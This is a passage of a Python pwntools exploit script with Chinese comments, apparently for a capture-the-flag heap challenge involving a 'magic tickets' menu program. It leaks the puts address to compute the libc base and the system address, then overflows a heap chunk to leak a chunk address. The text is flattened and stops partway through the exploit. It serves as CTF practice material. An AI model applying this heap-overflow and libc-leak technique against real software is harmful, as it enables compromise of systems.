defget(size,content): p.recvuntil('Choice >> \n') p.sendline('1') p.recvuntil("The length of my owner's name:\n") p.sendline(str(size)) p.recvline("Give me my owner's name:\n") p.sendline(content) defshow(index): p.recvuntil('Choice >> \n') p.sendline('2') p.recvuntil('Please tell me which tickets would you want to open?\n') p.sendline(str(index))
defchange(index,size,content): p.recvuntil('Choice >> \n') p.sendline('3') p.recvuntil("Please tell me which tickets would you want to change it's owner's name?\n") p.sendline(str(index)) p.recvuntil("The length of my owner's name:\n") p.sendline(str(size)) p.recvuntil("Give me my owner's name:\n") p.send(content) #创建堆块 get(0x20,"123456") get(0x20,"dudududu")
p.recvuntil("I'm a magic tickets.I will tell you who is my owner!\n") index=p.recv(6) puts_addr=u64(index.ljust(8,'\x00')) #得到puts的真实地址,从而得到libc版本 base=puts_addr-libc.symbols['puts'] #得到libc的基址 system_addr=libc.symbols['system']+base #得到system地址 print'puts:'+hex(puts_addr) print'base:'+hex(base) print'system_addr:'+hex(system_addr)
#得到chunk0,接下来就是如何去执行system了 #首先泄露出一个chunk的真实地址 payload=0x28*'a'+p64(0x21)+'\x10' change(0,len(payload)+1,payload) show(1) p.recvuntil("I'm a magic tickets.I will tell you who is my owner!\n") index=p.recv(6) chunk0_addr=u64(index.ljust(8,'\x00'))